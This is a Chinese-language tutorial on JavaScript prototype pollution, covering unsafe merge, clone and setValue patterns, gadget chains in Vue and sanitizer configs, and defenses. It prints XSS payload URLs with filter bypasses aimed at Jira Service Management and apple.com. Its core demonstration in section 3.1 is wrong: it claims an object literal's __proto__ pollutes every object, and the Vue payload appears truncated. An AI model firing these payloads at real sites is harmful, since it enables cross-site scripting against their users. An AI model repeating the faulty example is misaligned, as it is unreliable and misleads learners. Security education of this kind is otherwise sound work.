JavaScript原型链污染漏洞详解
1. 原型链污染概述
原型链污染(Prototype Pollution)是一种基于JavaScript语言的漏洞(Python也存在类似问题),攻击者通过控制JavaScript中意料之外的变量属性,可能导致:
- 客户端层面:XSS漏洞
- 服务端层面:RCE(远程代码执行)
该漏洞的产生主要源于JavaScript的语言特性,在变量名声明时没有进行严格处理,使得攻击者可以通过原型链控制变量属性。
2. JavaScript原型基础
2.1 原型概念
JavaScript是基于原型的面向对象语言(不同于传统的基于类的面向对象)。所有JavaScript对象都有一个__proto__属性(或prototype),指向该对象的原型,允许继承原型的属性和方法。
var my_ob = {a:1, b:2} // 创建对象
my_ob.c = 3 // 添加属性
my_ob["c"] = 3 // 另一种添加方式
2.2 原型继承
所有JavaScript对象都继承自Object类:
// 在控制台创建字符串
var str = "hello js"
str. // 会自动提示String对象的所有方法(length, charAt, split等)
这些方法之所以可用,是因为字符串对象通过原型链继承了String和Object的属性和方法。
3. 原型链污染原理
3.1 污染机制
通过修改对象的__proto__属性,可以影响所有继承自该原型的对象:
// 创建两个对象
var obj1 = {}
var obj2 = {__proto__: {x: "看看情况?"}}
console.log(obj1.x) // 输出"看看情况?"
console.log(Object.x) // 输出"看看情况?"
这是因为obj1找不到x属性时,会沿着原型链向上查找,最终找到obj2的__proto__中定义的x属性。
3.2 污染源
常见的三种污染方式:
- merge(合并)操作
- clone(克隆)操作
- 直接值设置
3.2.1 merge操作
function merge(target, source) {
for (var key in source) {
target[key] = source[key];
}
return target;
}
var target = {a: 1};
var source = {a: 3, d: 2};
var result = merge(target, source); // {a: 3, d: 2}
不安全的JSON解析合并:
function merge(target, source) {
var output = JSON.parse(target);
for (var key in source) {
output[key] = source[key];
}
return output;
}
3.2.2 clone操作
function merge(target, source) {
for (var key in source) {
target[key] = source[key];
}
return target;
}
function clone(ob) {
return merge({}, ob);
}
var jsonInput = JSON.parse('{"a": 1, "b": {"c": "2"}}');
var cloneOb = clone(jsonInput);
3.2.3 直接值设置
function setValue(object, property, value) {
object[property] = value;
}
var test = JSON.parse('{"a": 1, "b": 2}');
setValue(test, "a", 3);
如果攻击者能控制property参数为__proto__,就能污染全局原型。
4. 污染利用场景
4.1 客户端污染检测
-
使用XSS常见源(URL参数或hash)设置
__proto__有效载荷:https://example.com/?__proto__[polluted]=Polluted https://example.com/#__proto__[polluted]=Polluted https://example.com/?__proto__.polluted=Polluted -
在控制台检查污染是否成功:
Object.prototype.polluted -
使用不同源重放测试:
https://example.com?firstParam=__prototype__&secondParam=polluted&thirdParam=Polluted https://example.com?param->__proto__->polluted=Polluted
4.2 污染链利用
常见JavaScript模式:
var myOb = myOb || {} // 设置默认值
如果通过原型污染设置了myOb,就能控制后续代码中的变量。
4.3 DOM XSS利用
以Vue.js为例:
<!DOCTYPE html>
<html>
<head>
<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
</head>
<body>
<div id="app">
<p>{{ message }}</p>
</div>
<script>
var app = new Vue({
el: '#app',
data: {
message: 'Hello World!'
}
})
</script>
通过污染template属性可以导致XSS:
Object.prototype.template = ''
4.4 客户端XSS过滤器绕过
配置示例:
gConfig.ALLOWED_TAGS = ['a', 'img', 'b', 'i', 'u', 'em', 'strong', 'br']
ALLOWED_TAGS = userConfig.ALLOWED_TAGS || gConfig.ALLOWED_TAGS
通过污染userConfig.ALLOWED_TAGS可以添加恶意标签。
5. 实际漏洞案例
5.1 Jira Service Management漏洞
影响版本:4.16.0和4.18.0
Payload:
https://jira.example.com/servicedesk/customer/user/signup?__proto__.id=xxx&__proto__.id=xxx&__proto__.isFresh=xxx&__proto__.onmousemove=alert(1)//&__proto__.onmousemove=1
绕过修复的payload(利用[]替换):
https://server:8080/servicedesk/customer/user/signup?__pro[]to__.div=1&__pro[]to__.div=&__pro[]to__.div=1
5.2 Apple官网XSS
通过canJS-deparam库的漏洞:
Payload:
https://www.apple.com/shop/buy-watch/apple-watch?__proto__[src]=image&__proto__[onerror]=alert(1)
绕过方式:
https://www.apple.com/shop/buy-watch/apple-watch?a[constructor][prototype]=image&a[constructor][prototype][onerror]=alert(1)
6. 防御措施
- 避免使用不安全的merge/clone操作
- 对用户输入的属性名进行严格过滤,特别是
__proto__、constructor和prototype - 使用
Object.create(null)创建无原型的对象 - 冻结原型对象:
Object.freeze(Object.prototype) - 使用Map代替Object存储键值对
7. 工具与资源
-
检测工具:
- DOM Invader
- PPScan
-
资源库:
-
参考文章:
- [CTF中的原型链污染案例大全]
- [PortSwigger关于原型污染的文章]